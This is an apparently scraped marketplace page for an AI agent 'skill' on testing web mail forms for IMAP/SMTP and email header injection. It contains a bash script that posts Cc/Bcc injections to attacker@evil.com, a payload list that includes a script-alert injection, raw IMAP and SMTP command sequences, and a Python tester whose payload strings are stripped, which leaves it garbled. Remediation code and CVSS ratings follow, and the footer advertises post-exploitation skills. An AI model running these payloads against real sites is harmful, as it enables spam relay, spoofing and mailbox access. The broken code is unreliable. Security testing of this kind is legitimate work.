القائمة
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-10يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
عرض SKILL.md
| name | wstg-inpv-10 |
| description | Testing for IMAP/SMTP Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-10 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | ["CWE-601"] |
| chains_with | ["wstg-inpv-02","wstg-sess-05"] |
| prerequisites | ["wstg-info-01"] |
| severity_boost | {} |
WSTG-INPV-10
Testing for IMAP/SMTP Injection
IMAP/SMTP Injection occurs when user input is incorporated into mail server commands without proper validation. Attackers can manipulate email functionality to send spam, access other users' mailboxes, execute arbitrary IMAP/SMTP commands, or bypass email-based security controls.
#!/bin/bash
TARGET="https://target.com/contact"
# Test email header injection via form
echo "[*] Testing email header injection..."
# CC injection
curl -s -X POST "$TARGET" \
-d "name=Test" \
-d "email=test@test.com%0ACc:attacker@evil.com" \
-d "message=Test message"
# BCC injection
curl -s -X POST "$TARGET" \
-d "name=Test" \
-d "email=test@test.com%0ABcc:attacker@evil.com" \
-d "message=Test message"
# Subject injection
curl -s -X POST "$TARGET" \
-d "name=Test%0ASubject:Injected Subject" \
-d "email=test@test.com" \
-d "message=Test"
requests
urllib.parse quote
:
():
.url = url
.findings = []
.session = requests.Session()
PAYLOADS = {
: [
,
,
,
,
,
,
,
,
,
],
: [
,
,
,
,
],
: [
,
,
,
],
}
():
()
payload .PAYLOADS[]:
:
response = .session.post(
.url,
data={
email_param: payload,
: ,
: ,
:
}
)
response.status_code == :
response.text.lower() \
response.text.lower():
()
()
.findings.append({
: ,
: payload,
:
})
response.text.lower() \
response.text.lower():
()
Exception e:
():
()
payload .PAYLOADS[]:
:
response = .session.post(
.url,
data={
user_param: payload,
:
}
)
response.text \
response.text \
response.text:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
crlf_payloads = [
,
,
,
]
payload crlf_payloads:
:
response = .session.post(
.url,
data={
: ,
subject_param: payload,
:
}
)
response.status_code == :
()
Exception e:
():
()
spoofed_addresses = [
,
,
,
]
email spoofed_addresses:
:
response = .session.post(
.url,
data={
: email,
: ,
:
}
)
response.text.lower():
()
.findings.append({
: ,
: email,
:
})
Exception e:
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
():
.test_header_injection()
.test_crlf_injection()
.test_from_spoofing()
.test_imap_injection()
.generate_report()
tester = MailInjectionTester()
tester.run_tests()
# Email Header Injection
test@test.com%0ACc:attacker@evil.com
test@test.com%0ABcc:attacker@evil.com
test@test.com%0ASubject:Injected
test@test.com%0AContent-Type:text/html%0A%0A<script>alert(1)</script>
# CRLF Variants
%0A = Line Feed
%0D = Carriage Return
%0D%0A = CRLF
\r\n = CRLF (raw)
# IMAP Commands
A001 LOGIN user pass
A002 SELECT INBOX
A003 FETCH 1:* (FLAGS BODY[])
A004 SEARCH ALL
A005 LOGOUT
# SMTP Commands
HELO attacker.com
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
Subject: Injected
Injected body
.
QUIT
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept and modify |
| Telnet | Direct SMTP/IMAP testing |
| swaks | SMTP testing |
| Custom scripts | Automated testing |
# Python - Proper email handling
import re
from email.utils import parseaddr
def validate_email(email):
"""Validate email address and prevent injection"""
# Check for newlines/CRLF
if '\r' in email or '\n' in email:
raise ValueError("Invalid email: contains newlines")
# Parse and validate
_, addr = parseaddr(email)
if not addr:
raise ValueError("Invalid email format")
# Check for valid format
email_regex = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(email_regex, addr):
raise ValueError("Invalid email format")
return addr
# Use libraries that handle headers safely
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
msg = MIMEMultipart()
msg['From'] = 'noreply@example.com'
msg['To'] = validate_email(user_email)
msg['Subject'] = subject.replace('\n', '').replace('\r', '')
<?php
// PHP - Validate and sanitize
function sanitize_email_header($value) {
// Remove newlines and carriage returns
$value = str_replace(["\r", "\n", "%0a", "%0d"], '', $value);
return $value;
}
// Use filter_var for email validation
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
die('Invalid email');
}
// Use mail headers safely
$headers = "From: noreply@example.com\r\n";
$headers .= "Reply-To: " . sanitize_email_header($email) . "\r\n";
?>
| Finding | CVSS | Severity |
|---|---|---|
| IMAP command injection | 9.1 | Critical |
| SMTP command injection | 8.1 | High |
| Email header injection | 6.5 | Medium |
| From address spoofing | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-93 | Improper Neutralization of CRLF Sequences |
| CWE-88 | Improper Neutralization of Argument Delimiters in a Command |
[ ] Email header injection tested
[ ] CC/BCC injection tested
[ ] Subject injection tested
[ ] CRLF injection tested
[ ] IMAP commands tested
[ ] SMTP commands tested
[ ] From spoofing tested
[ ] Findings documented
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
استنادا إلى تصنيف SOC المهني
